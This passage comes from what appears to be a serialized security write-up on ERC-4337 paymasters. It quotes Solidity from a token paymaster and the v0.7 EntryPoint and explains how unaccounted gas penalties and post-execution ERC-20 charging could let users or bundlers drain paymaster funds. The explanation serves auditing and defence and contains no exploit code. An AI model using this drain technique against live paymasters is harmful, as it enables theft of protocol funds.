4],{"type":29,"value":104406},{"type":24,"tag":158,"props":105176,"children":105177},{"style":188},[105178],{"type":29,"value":104432},{"type":24,"tag":158,"props":105180,"children":105181},{"style":222},[105182],{"type":29,"value":1285},{"type":24,"tag":158,"props":105184,"children":105185},{"style":188},[105186],{"type":29,"value":104441},{"type":24,"tag":158,"props":105188,"children":105189},{"class":160,"line":25031},[105190,105195,105199,105204,105208,105213,105217,105221,105225,105230,105235,105239,105243,105247],{"type":24,"tag":158,"props":105191,"children":105192},{"style":188},[105193],{"type":29,"value":105194}," (",{"type":24,"tag":158,"props":105196,"children":105197},{"style":171},[105198],{"type":29,"value":47438},{"type":24,"tag":158,"props":105200,"children":105201},{"style":188},[105202],{"type":29,"value":105203}," preCharge, ",{"type":24,"tag":158,"props":105205,"children":105206},{"style":171},[105207],{"type":29,"value":33902},{"type":24,"tag":158,"props":105209,"children":105210},{"style":188},[105211],{"type":29,"value":105212}," userOpSender) ",{"type":24,"tag":158,"props":105214,"children":105215},{"style":222},[105216],{"type":29,"value":1285},{"type":24,"tag":158,"props":105218,"children":105219},{"style":165},[105220],{"type":29,"value":104955},{"type":24,"tag":158,"props":105222,"children":105223},{"style":188},[105224],{"type":29,"value":347},{"type":24,"tag":158,"props":105226,"children":105227},{"style":496},[105228],{"type":29,"value":105229},"decode",{"type":24,"tag":158,"props":105231,"children":105232},{"style":188},[105233],{"type":29,"value":105234},"(context, (",{"type":24,"tag":158,"props":105236,"children":105237},{"style":171},[105238],{"type":29,"value":47438},{"type":24,"tag":158,"props":105240,"children":105241},{"style":188},[105242],{"type":29,"value":191},{"type":24,"tag":158,"props":105244,"children":105245},{"style":171},[105246],{"type":29,"value":33902},{"type":24,"tag":158,"props":105248,"children":105249},{"style":188},[105250],{"type":29,"value":3849},{"type":24,"tag":158,"props":105252,"children":105253},{"class":160,"line":25039},[105254,105259,105264,105269],{"type":24,"tag":158,"props":105255,"children":105256},{"style":188},[105257],{"type":29,"value":105258}," preCharge ",{"type":24,"tag":158,"props":105260,"children":105261},{"style":222},[105262],{"type":29,"value":105263},"-=",{"type":24,"tag":158,"props":105265,"children":105266},{"style":188},[105267],{"type":29,"value":105268}," baseFee; ",{"type":24,"tag":158,"props":105270,"children":105271},{"style":2588},[105272],{"type":29,"value":105273},"// don't refund the base fee\n",{"type":24,"tag":158,"props":105275,"children":105276},{"class":160,"line":25076},[105277,105281,105286,105290,105295,105299,105303],{"type":24,"tag":158,"props":105278,"children":105279},{"style":171},[105280],{"type":29,"value":104406},{"type":24,"tag":158,"props":105282,"children":105283},{"style":188},[105284],{"type":29,"value":105285}," _cachedPrice ",{"type":24,"tag":158,"props":105287,"children":105288},{"style":222},[105289],{"type":29,"value":1285},{"type":24,"tag":158,"props":105291,"children":105292},{"style":496},[105293],{"type":29,"value":105294}," updateCachedPrice",{"type":24,"tag":158,"props":105296,"children":105297},{"style":188},[105298],{"type":29,"value":504},{"type":24,"tag":158,"props":105300,"children":105301},{"style":165},[105302],{"type":29,"value":4404},{"type":24,"tag":158,"props":105304,"children":105305},{"style":188},[105306],{"type":29,"value":1071},{"type":24,"tag":158,"props":105308,"children":105309},{"class":160,"line":25089},[105310,105314,105318],{"type":24,"tag":158,"props":105311,"children":105312},{"style":2588},[105313],{"type":29,"value":104658},{"type":24,"tag":158,"props":105315,"children":105316},{"style":165},[105317],{"type":29,"value":68034},{"type":24,"tag":158,"props":105319,"children":105320},{"style":2588},[105321],{"type":29,"value":104667},{"type":24,"tag":158,"props":105323,"children":105324},{"class":160,"line":25102},[105325,105329,105333,105337,105341,105345,105349,105353],{"type":24,"tag":158,"props":105326,"children":105327},{"style":171},[105328],{"type":29,"value":104406},{"type":24,"tag":158,"props":105330,"children":105331},{"style":188},[105332],{"type":29,"value":104679},{"type":24,"tag":158,"props":105334,"children":105335},{"style":222},[105336],{"type":29,"value":1285},{"type":24,"tag":158,"props":105338,"children":105339},{"style":188},[105340],{"type":29,"value":105285},{"type":24,"tag":158,"props":105342,"children":105343},{"style":222},[105344],{"type":29,"value":577},{"type":24,"tag":158,"props":105346,"children":105347},{"style":188},[105348],{"type":29,"value":104697},{"type":24,"tag":158,"props":105350,"children":105351},{"style":222},[105352],{"type":29,"value":6238},{"type":24,"tag":158,"props":105354,"children":105355},{"style":188},[105356],{"type":29,"value":104706},{"type":24,"tag":158,"props":105358,"children":105359},{"class":160,"line":25115},[105360],{"type":24,"tag":158,"props":105361,"children":105362},{"style":2588},[105363],{"type":29,"value":105364}," // Refund tokens based on actual gas cost\n",{"type":24,"tag":158,"props":105366,"children":105367},{"class":160,"line":25169},[105368,105372,105377,105381,105386,105390,105395,105399],{"type":24,"tag":158,"props":105369,"children":105370},{"style":171},[105371],{"type":29,"value":104406},{"type":24,"tag":158,"props":105373,"children":105374},{"style":188},[105375],{"type":29,"value":105376}," actualChargeNative ",{"type":24,"tag":158,"props":105378,"children":105379},{"style":222},[105380],{"type":29,"value":1285},{"type":24,"tag":158,"props":105382,"children":105383},{"style":188},[105384],{"type":29,"value":105385}," actualGasCost ",{"type":24,"tag":158,"props":105387,"children":105388},{"style":222},[105389],{"type":29,"value":728},{"type":24,"tag":158,"props":105391,"children":105392},{"style":188},[105393],{"type":29,"value":105394}," tokenPaymasterConfig.refundPostopCost ",{"type":24,"tag":158,"props":105396,"children":105397},{"style":222},[105398],{"type":29,"value":577},{"type":24,"tag":158,"props":105400,"children":105401},{"style":188},[105402],{"type":29,"value":105403}," actualUserOpFeePerGas;\n",{"type":24,"tag":158,"props":105405,"children":105406},{"class":160,"line":25178},[105407,105411,105416,105420,105424],{"type":24,"tag":158,"props":105408,"children":105409},{"style":171},[105410],{"type":29,"value":104406},{"type":24,"tag":158,"props":105412,"children":105413},{"style":188},[105414],{"type":29,"value":105415}," actualTokenNeeded ",{"type":24,"tag":158,"props":105417,"children":105418},{"style":222},[105419],{"type":29,"value":1285},{"type":24,"tag":158,"props":105421,"children":105422},{"style":496},[105423],{"type":29,"value":104881},{"type":24,"tag":158,"props":105425,"children":105426},{"style":188},[105427],{"type":29,"value":105428},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":24,"tag":158,"props":105430,"children":105431},{"class":160,"line":33542},[105432,105436,105441,105445],{"type":24,"tag":158,"props":105433,"children":105434},{"style":1914},[105435],{"type":29,"value":60074},{"type":24,"tag":158,"props":105437,"children":105438},{"style":188},[105439],{"type":29,"value":105440}," (preCharge ",{"type":24,"tag":158,"props":105442,"children":105443},{"style":222},[105444],{"type":29,"value":1280},{"type":24,"tag":158,"props":105446,"children":105447},{"style":188},[105448],{"type":29,"value":105449}," actualTokenNeeded) {\n",{"type":24,"tag":158,"props":105451,"children":105452},{"class":160,"line":33563},[105453],{"type":24,"tag":158,"props":105454,"children":105455},{"style":2588},[105456],{"type":29,"value":105457}," // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":24,"tag":158,"props":105459,"children":105460},{"class":160,"line":82229},[105461,105466,105471,105476,105480],{"type":24,"tag":158,"props":105462,"children":105463},{"style":188},[105464],{"type":29,"value":105465}," SafeERC20.",{"type":24,"tag":158,"props":105467,"children":105468},{"style":496},[105469],{"type":29,"value":105470},"safeTransfer",{"type":24,"tag":158,"props":105472,"children":105473},{"style":188},[105474],{"type":29,"value":105475},"(token, userOpSender, preCharge ",{"type":24,"tag":158,"props":105477,"children":105478},{"style":222},[105479],{"type":29,"value":5987},{"type":24,"tag":158,"props":105481,"children":105482},{"style":188},[105483],{"type":29,"value":105484}," actualTokenNeeded);\n",{"type":24,"tag":158,"props":105486,"children":105487},{"class":160,"line":82242},[105488,105492,105496,105500,105504,105508],{"type":24,"tag":158,"props":105489,"children":105490},{"style":188},[105491],{"type":29,"value":71870},{"type":24,"tag":158,"props":105493,"children":105494},{"style":1914},[105495],{"type":29,"value":4978},{"type":24,"tag":158,"props":105497,"children":105498},{"style":1914},[105499],{"type":29,"value":17024},{"type":24,"tag":158,"props":105501,"children":105502},{"style":188},[105503],{"type":29,"value":105440},{"type":24,"tag":158,"props":105505,"children":105506},{"style":222},[105507],{"type":29,"value":3760},{"type":24,"tag":158,"props":105509,"children":105510},{"style":188},[105511],{"type":29,"value":105449},{"type":24,"tag":158,"props":105513,"children":105514},{"class":160,"line":82250},[105515],{"type":24,"tag":158,"props":105516,"children":105517},{"style":2588},[105518],{"type":29,"value":105519}," // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":24,"tag":158,"props":105521,"children":105522},{"class":160,"line":82258},[105523],{"type":24,"tag":158,"props":105524,"children":105525},{"style":2588},[105526],{"type":29,"value":105527}," // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":24,"tag":158,"props":105529,"children":105530},{"class":160,"line":82266},[105531,105535,105539,105544,105548,105552,105556,105561,105565],{"type":24,"tag":158,"props":105532,"children":105533},{"style":188},[105534],{"type":29,"value":105465},{"type":24,"tag":158,"props":105536,"children":105537},{"style":496},[105538],{"type":29,"value":104916},{"type":24,"tag":158,"props":105540,"children":105541},{"style":188},[105542],{"type":29,"value":105543},"(token, userOpSender, ",{"type":24,"tag":158,"props":105545,"children":105546},{"style":171},[105547],{"type":29,"value":33902},{"type":24,"tag":158,"props":105549,"children":105550},{"style":188},[105551],{"type":29,"value":504},{"type":24,"tag":158,"props":105553,"children":105554},{"style":165},[105555],{"type":29,"value":18932},{"type":24,"tag":158,"props":105557,"children":105558},{"style":188},[105559],{"type":29,"value":105560},"), actualTokenNeeded ",{"type":24,"tag":158,"props":105562,"children":105563},{"style":222},[105564],{"type":29,"value":5987},{"type":24,"tag":158,"props":105566,"children":105567},{"style":188},[105568],{"type":29,"value":105569}," preCharge);\n",{"type":24,"tag":158,"props":105571,"children":105572},{"class":160,"line":82306},[105573],{"type":24,"tag":158,"props":105574,"children":105575},{"style":188},[105576],{"type":29,"value":60158},{"type":24,"tag":158,"props":105578,"children":105579},{"class":160,"line":82314},[105580],{"type":24,"tag":158,"props":105581,"children":105582},{"emptyLinePlaceholder":16},[105583],{"type":29,"value":481},{"type":24,"tag":158,"props":105585,"children":105586},{"class":160,"line":89501},[105587,105591,105596,105600,105604],{"type":24,"tag":158,"props":105588,"children":105589},{"style":1914},[105590],{"type":29,"value":60074},{"type":24,"tag":158,"props":105592,"children":105593},{"style":188},[105594],{"type":29,"value":105595}," (baseFee ",{"type":24,"tag":158,"props":105597,"children":105598},{"style":222},[105599],{"type":29,"value":1280},{"type":24,"tag":158,"props":105601,"children":105602},{"style":465},[105603],{"type":29,"value":2025},{"type":24,"tag":158,"props":105605,"children":105606},{"style":188},[105607],{"type":29,"value":16038},{"type":24,"tag":158,"props":105609,"children":105610},{"class":160,"line":89509},[105611,105615,105619],{"type":24,"tag":158,"props":105612,"children":105613},{"style":188},[105614],{"type":29,"value":105465},{"type":24,"tag":158,"props":105616,"children":105617},{"style":496},[105618],{"type":29,"value":105470},{"type":24,"tag":158,"props":105620,"children":105621},{"style":188},[105622],{"type":29,"value":105623},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":24,"tag":158,"props":105625,"children":105626},{"class":160,"line":102855},[105627],{"type":24,"tag":158,"props":105628,"children":105629},{"style":188},[105630],{"type":29,"value":60158},{"type":24,"tag":158,"props":105632,"children":105633},{"class":160,"line":102863},[105634],{"type":24,"tag":158,"props":105635,"children":105636},{"emptyLinePlaceholder":16},[105637],{"type":29,"value":481},{"type":24,"tag":158,"props":105639,"children":105640},{"class":160,"line":102871},[105641,105646,105651],{"type":24,"tag":158,"props":105642,"children":105643},{"style":1914},[105644],{"type":29,"value":105645}," emit",{"type":24,"tag":158,"props":105647,"children":105648},{"style":496},[105649],{"type":29,"value":105650}," UserOperationSponsored",{"type":24,"tag":158,"props":105652,"children":105653},{"style":188},[105654],{"type":29,"value":105655},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":24,"tag":158,"props":105657,"children":105658},{"class":160,"line":102879},[105659,105664],{"type":24,"tag":158,"props":105660,"children":105661},{"style":496},[105662],{"type":29,"value":105663}," refillEntryPointDeposit",{"type":24,"tag":158,"props":105665,"children":105666},{"style":188},[105667],{"type":29,"value":105668},"(_cachedPrice);\n",{"type":24,"tag":158,"props":105670,"children":105671},{"class":160,"line":102907},[105672],{"type":24,"tag":158,"props":105673,"children":105674},{"style":188},[105675],{"type":29,"value":5010},{"type":24,"tag":158,"props":105677,"children":105679},{"class":160,"line":105678},67,[105680],{"type":24,"tag":158,"props":105681,"children":105682},{"style":188},[105683],{"type":29,"value":3967},{"type":24,"tag":158,"props":105685,"children":105687},{"class":160,"line":105686},68,[105688],{"type":24,"tag":158,"props":105689,"children":105690},{"style":188},[105691],{"type":29,"value":307},{"type":24,"tag":25,"props":105693,"children":105694},{},[105695,105697,105703,105705,105710,105712,105718],{"type":29,"value":105696},"Looking at the code above, during ",{"type":24,"tag":154,"props":105698,"children":105700},{"className":105699},[],[105701],{"type":29,"value":105702},"validatePaymasterUserOp",{"type":29,"value":105704},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":24,"tag":154,"props":105706,"children":105708},{"className":105707},[],[105709],{"type":29,"value":103761},{"type":29,"value":105711}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":24,"tag":154,"props":105713,"children":105715},{"className":105714},[],[105716],{"type":29,"value":105717},"postOp",{"type":29,"value":105719},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":24,"tag":25,"props":105721,"children":105722},{},[105723,105725,105730,105732,105739],{"type":29,"value":105724},"However, there is a critical oversight: ",{"type":24,"tag":897,"props":105726,"children":105727},{},[105728],{"type":29,"value":105729},"the code does not account for gas penalties",{"type":29,"value":105731},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":24,"tag":101,"props":105733,"children":105736},{"href":105734,"rel":105735},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[105],[105737],{"type":29,"value":105738},"penalties incurred",{"type":29,"value":105740}," from differences between the execution gas limit and actual execution gas.",{"type":24,"tag":25,"props":105742,"children":105743},{},[105744],{"type":29,"value":105745},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":24,"tag":25,"props":105747,"children":105748},{},[105749,105751,105756],{"type":29,"value":105750},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":24,"tag":154,"props":105752,"children":105754},{"className":105753},[],[105755],{"type":29,"value":103460},{"type":29,"value":105757}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":24,"tag":59,"props":105759,"children":105761},{"id":105760},"incorrect-erc-20-handling",[105762],{"type":24,"tag":897,"props":105763,"children":105764},{},[105765],{"type":29,"value":105766},"Incorrect ERC-20 Handling",{"type":24,"tag":25,"props":105768,"children":105769},{},[105770],{"type":29,"value":105771},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":24,"tag":25,"props":105773,"children":105774},{},[105775,105776,105781,105783,105788],{"type":29,"value":46566},{"type":24,"tag":154,"props":105777,"children":105779},{"className":105778},[],[105780],{"type":29,"value":103541},{"type":29,"value":105782}," flow above, we can see that paymasters have two key interaction points during a ",{"type":24,"tag":154,"props":105784,"children":105786},{"className":105785},[],[105787],{"type":29,"value":103460},{"type":29,"value":105789},"'s lifecycle:",{"type":24,"tag":1786,"props":105791,"children":105792},{},[105793,105803],{"type":24,"tag":1790,"props":105794,"children":105795},{},[105796,105798],{"type":29,"value":105797},"During validation via ",{"type":24,"tag":154,"props":105799,"children":105801},{"className":105800},[],[105802],{"type":29,"value":103648},{"type":24,"tag":1790,"props":105804,"children":105805},{},[105806,105808],{"type":29,"value":105807},"After execution via ",{"type":24,"tag":154,"props":105809,"children":105811},{"className":105810},[],[105812],{"type":29,"value":103659},{"type":24,"tag":25,"props":105814,"children":105815},{},[105816],{"type":29,"value":105817},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":24,"tag":395,"props":105819,"children":105821},{"id":105820},"_1-pre-payment-with-refund-pattern",[105822],{"type":29,"value":105823},"1. Pre-Payment with Refund Pattern",{"type":24,"tag":25,"props":105825,"children":105826},{},[105827,105829,105834,105836,105841,105843,105849,105850,105856,105858,105863,105865,105870,105872,105877],{"type":29,"value":105828},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":24,"tag":154,"props":105830,"children":105832},{"className":105831},[],[105833],{"type":29,"value":103648},{"type":29,"value":105835},". After execution completes, ",{"type":24,"tag":154,"props":105837,"children":105839},{"className":105838},[],[105840],{"type":29,"value":103659},{"type":29,"value":105842}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":24,"tag":154,"props":105844,"children":105846},{"className":105845},[],[105847],{"type":29,"value":105848},"SEND",{"type":29,"value":1826},{"type":24,"tag":154,"props":105851,"children":105853},{"className":105852},[],[105854],{"type":29,"value":105855},"Circle",{"type":29,"value":105857}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":24,"tag":154,"props":105859,"children":105861},{"className":105860},[],[105862],{"type":29,"value":103489},{"type":29,"value":105864},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":24,"tag":897,"props":105866,"children":105867},{},[105868],{"type":29,"value":105869},"before",{"type":29,"value":105871}," execution (specifically during ",{"type":24,"tag":154,"props":105873,"children":105875},{"className":105874},[],[105876],{"type":29,"value":105702},{"type":29,"value":21986},{"type":24,"tag":395,"props":105879,"children":105881},{"id":105880},"_2-post-execution-charging-pattern",[105882],{"type":29,"value":105883},"2. Post-Execution Charging Pattern",{"type":24,"tag":25,"props":105885,"children":105886},{},[105887,105889,105894,105896,105901,105903,105908,105910,105915],{"type":29,"value":105888},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":24,"tag":154,"props":105890,"children":105892},{"className":105891},[],[105893],{"type":29,"value":103648},{"type":29,"value":105895},", the actual token payment is calculated and collected in ",{"type":24,"tag":154,"props":105897,"children":105899},{"className":105898},[],[105900],{"type":29,"value":103659},{"type":29,"value":105902}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":24,"tag":154,"props":105904,"children":105906},{"className":105905},[],[105907],{"type":29,"value":103460},{"type":29,"value":105909},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":24,"tag":154,"props":105911,"children":105913},{"className":105912},[],[105914],{"type":29,"value":103761},{"type":29,"value":105916},". This means users could interact with the paymaster without any prior setup.",{"type":24,"tag":25,"props":105918,"children":105919},{},[105920,105922,105927,105929,105935,105937,105943,105945,105950],{"type":29,"value":105921},"This approach used to work in ",{"type":24,"tag":154,"props":105923,"children":105925},{"className":105924},[],[105926],{"type":29,"value":103541},{"type":29,"value":105928}," version ",{"type":24,"tag":154,"props":105930,"children":105932},{"className":105931},[],[105933],{"type":29,"value":105934},"v0.6",{"type":29,"value":105936},", but the pattern no longer works in ",{"type":24,"tag":154,"props":105938,"children":105940},{"className":105939},[],[105941],{"type":29,"value":105942},"v0.7",{"type":29,"value":105944},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":24,"tag":154,"props":105946,"children":105948},{"className":105947},[],[105949],{"type":29,"value":105942},{"type":29,"value":105951}," handles the execution phase:",{"type":24,"tag":147,"props":105953,"children":105955},{"className":6134,"code":105954,"language":6133,"meta":7,"style":7}," function _executeUserOp(\n uint256 opIndex,\n PackedUserOperation calldata userOp,\n UserOpInfo memory opInfo\n )\n internal virtual\n returns (uint256 collected) {\n [...]\n bool success;\n {\n [...]\n if (methodSig == IAccountExecute.executeUserOp.selector) {\n bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n } else\n {\n innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n }\n assembly (\"memory-safe\") {\n success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n collected := mload(0)\n }\n _restoreFreePtr(saveFreePtr);\n }\n if (!success) {\n [...]\n if (innerRevertCode == INNER_OUT_OF_GAS) {\n // handleOps was called with gas limit too low. abort entire bundle.\n // can only be caused by bundler (leaving not enough gas for inner call)\n revert FailedOp(opIndex, \"AA95 out of gas\");\n } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n uint256 actualGasCost = opInfo.prefund;\n _emitPrefundTooLow(opInfo);\n _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n collected = actualGasCost;\n } else {\n [...]\n collected = _postExecution(\n IPaymaster.PostOpMode.postOpReverted,\n opInfo,\n context,\n actualGas\n );\n }\n }\n }\n",[105956],{"type":24,"tag":154,"props":105957,"children":105958},{"__ignoreMap":7},[105959,105975,105991,106011,106028,106035,106048,106072,106080,106093,106100,106107,106128,106167,106204,106216,106223,106259,106266,106287,106376,106405,106412,106425,106432,106452,106459,106480,106488,106496,106523,106551,106559,106602,106622,106635,106657,106673,106688,106695,106715,106723,106731,106739,106747,106755,106762,106769],{"type":24,"tag":158,"props":105960,"children":105961},{"class":160,"line":161},[105962,105966,105971],{"type":24,"tag":158,"props":105963,"children":105964},{"style":165},[105965],{"type":29,"value":91109},{"type":24,"tag":158,"props":105967,"children":105968},{"style":496},[105969],{"type":29,"value":105970}," _executeUserOp",{"type":24,"tag":158,"props":105972,"children":105973},{"style":188},[105974],{"type":29,"value":2156},{"type":24,"tag":158,"props":105976,"children":105977},{"class":160,"line":213},[105978,105982,105987],{"type":24,"tag":158,"props":105979,"children":105980},{"style":171},[105981],{"type":29,"value":91287},{"type":24,"tag":158,"props":105983,"children":105984},{"style":177},[105985],{"type":29,"value":105986}," opIndex",{"type":24,"tag":158,"props":105988,"children":105989},{"style":188},[105990],{"type":29,"value":235},{"type":24,"tag":158,"props":105992,"children":105993},{"class":160,"line":238},[105994,105999,106003,106007],{"type":24,"tag":158,"props":105995,"children":105996},{"style":165},[105997],{"type":29,"value":105998}," PackedUserOperation",{"type":24,"tag":158,"props":106000,"children":106001},{"style":165},[106002],{"type":29,"value":104290},{"type":24,"tag":158,"props":106004,"children":106005},{"style":177},[106006],{"type":29,"value":104295},{"type":24,"tag":158,"props":106008,"children":106009},{"style":188},[106010],{"type":29,"value":235},{"type":24,"tag":158,"props":106012,"children":106013},{"class":160,"line":259},[106014,106019,106023],{"type":24,"tag":158,"props":106015,"children":106016},{"style":165},[106017],{"type":29,"value":106018}," UserOpInfo",{"type":24,"tag":158,"props":106020,"children":106021},{"style":165},[106022],{"type":29,"value":104358},{"type":24,"tag":158,"props":106024,"children":106025},{"style":177},[106026],{"type":29,"value":106027}," opInfo\n",{"type":24,"tag":158,"props":106029,"children":106030},{"class":160,"line":280},[106031],{"type":24,"tag":158,"props":106032,"children":106033},{"style":188},[106034],{"type":29,"value":25175},{"type":24,"tag":158,"props":106036,"children":106037},{"class":160,"line":301},[106038,106043],{"type":24,"tag":158,"props":106039,"children":106040},{"style":165},[106041],{"type":29,"value":106042}," internal",{"type":24,"tag":158,"props":106044,"children":106045},{"style":165},[106046],{"type":29,"value":106047}," virtual\n",{"type":24,"tag":158,"props":106049,"children":106050},{"class":160,"line":626},[106051,106055,106059,106063,106068],{"type":24,"tag":158,"props":106052,"children":106053},{"style":1914},[106054],{"type":29,"value":47779},{"type":24,"tag":158,"props":106056,"children":106057},{"style":188},[106058],{"type":29,"value":2262},{"type":24,"tag":158,"props":106060,"children":106061},{"style":171},[106062],{"type":29,"value":47438},{"type":24,"tag":158,"props":106064,"children":106065},{"style":177},[106066],{"type":29,"value":106067}," collected",{"type":24,"tag":158,"props":106069,"children":106070},{"style":188},[106071],{"type":29,"value":16038},{"type":24,"tag":158,"props":106073,"children":106074},{"class":160,"line":668},[106075],{"type":24,"tag":158,"props":106076,"children":106077},{"style":188},[106078],{"type":29,"value":106079}," [...]\n",{"type":24,"tag":158,"props":106081,"children":106082},{"class":160,"line":676},[106083,106088],{"type":24,"tag":158,"props":106084,"children":106085},{"style":171},[106086],{"type":29,"value":106087}," bool",{"type":24,"tag":158,"props":106089,"children":106090},{"style":188},[106091],{"type":29,"value":106092}," success;\n",{"type":24,"tag":158,"props":106094,"children":106095},{"class":160,"line":684},[106096],{"type":24,"tag":158,"props":106097,"children":106098},{"style":188},[106099],{"type":29,"value":32920},{"type":24,"tag":158,"props":106101,"children":106102},{"class":160,"line":700},[106103],{"type":24,"tag":158,"props":106104,"children":106105},{"style":188},[106106],{"type":29,"value":106079},{"type":24,"tag":158,"props":106108,"children":106109},{"class":160,"line":785},[106110,106114,106119,106123],{"type":24,"tag":158,"props":106111,"children":106112},{"style":1914},[106113],{"type":29,"value":60074},{"type":24,"tag":158,"props":106115,"children":106116},{"style":188},[106117],{"type":29,"value":106118}," (methodSig ",{"type":24,"tag":158,"props":106120,"children":106121},{"style":222},[106122],{"type":29,"value":1034},{"type":24,"tag":158,"props":106124,"children":106125},{"style":188},[106126],{"type":29,"value":106127}," IAccountExecute.executeUserOp.selector) {\n",{"type":24,"tag":158,"props":106129,"children":106130},{"class":160,"line":1447},[106131,106136,106140,106145,106149,106153,106157,106162],{"type":24,"tag":158,"props":106132,"children":106133},{"style":171},[106134],{"type":29,"value":106135}," bytes",{"type":24,"tag":158,"props":106137,"children":106138},{"style":165},[106139],{"type":29,"value":104358},{"type":24,"tag":158,"props":106141,"children":106142},{"style":188},[106143],{"type":29,"value":106144}," executeUserOp ",{"type":24,"tag":158,"props":106146,"children":106147},{"style":222},[106148],{"type":29,"value":1285},{"type":24,"tag":158,"props":106150,"children":106151},{"style":165},[106152],{"type":29,"value":104955},{"type":24,"tag":158,"props":106154,"children":106155},{"style":188},[106156],{"type":29,"value":347},{"type":24,"tag":158,"props":106158,"children":106159},{"style":496},[106160],{"type":29,"value":106161},"encodeCall",{"type":24,"tag":158,"props":106163,"children":106164},{"style":188},[106165],{"type":29,"value":106166},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":24,"tag":158,"props":106168,"children":106169},{"class":160,"line":1509},[106170,106175,106179,106183,106187,106191,106195,106199],{"type":24,"tag":158,"props":106171,"children":106172},{"style":188},[106173],{"type":29,"value":106174}," innerCall ",{"type":24,"tag":158,"props":106176,"children":106177},{"style":222},[106178],{"type":29,"value":1285},{"type":24,"tag":158,"props":106180,"children":106181},{"style":165},[106182],{"type":29,"value":104955},{"type":24,"tag":158,"props":106184,"children":106185},{"style":188},[106186],{"type":29,"value":347},{"type":24,"tag":158,"props":106188,"children":106189},{"style":496},[106190],{"type":29,"value":106161},{"type":24,"tag":158,"props":106192,"children":106193},{"style":188},[106194],{"type":29,"value":504},{"type":24,"tag":158,"props":106196,"children":106197},{"style":165},[106198],{"type":29,"value":18932},{"type":24,"tag":158,"props":106200,"children":106201},{"style":188},[106202],{"type":29,"value":106203},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":24,"tag":158,"props":106205,"children":106206},{"class":160,"line":1527},[106207,106211],{"type":24,"tag":158,"props":106208,"children":106209},{"style":188},[106210],{"type":29,"value":71870},{"type":24,"tag":158,"props":106212,"children":106213},{"style":1914},[106214],{"type":29,"value":106215},"else\n",{"type":24,"tag":158,"props":106217,"children":106218},{"class":160,"line":1545},[106219],{"type":24,"tag":158,"props":106220,"children":106221},{"style":188},[106222],{"type":29,"value":32956},{"type":24,"tag":158,"props":106224,"children":106225},{"class":160,"line":1618},[106226,106230,106234,106238,106242,106246,106250,106254],{"type":24,"tag":158,"props":106227,"children":106228},{"style":188},[106229],{"type":29,"value":106174},{"type":24,"tag":158,"props":106231,"children":106232},{"style":222},[106233],{"type":29,"value":1285},{"type":24,"tag":158,"props":106235,"children":106236},{"style":165},[106237],{"type":29,"value":104955},{"type":24,"tag":158,"props":106239,"children":106240},{"style":188},[106241],{"type":29,"value":347},{"type":24,"tag":158,"props":106243,"children":106244},{"style":496},[106245],{"type":29,"value":106161},{"type":24,"tag":158,"props":106247,"children":106248},{"style":188},[106249],{"type":29,"value":504},{"type":24,"tag":158,"props":106251,"children":106252},{"style":165},[106253],{"type":29,"value":18932},{"type":24,"tag":158,"props":106255,"children":106256},{"style":188},[106257],{"type":29,"value":106258},".innerHandleOp, (callData, opInfo, context));\n",{"type":24,"tag":158,"props":106260,"children":106261},{"class":160,"line":1635},[106262],{"type":24,"tag":158,"props":106263,"children":106264},{"style":188},[106265],{"type":29,"value":60158},{"type":24,"tag":158,"props":106267,"children":106268},{"class":160,"line":1644},[106269,106274,106278,106283],{"type":24,"tag":158,"props":106270,"children":106271},{"style":496},[106272],{"type":29,"value":106273}," 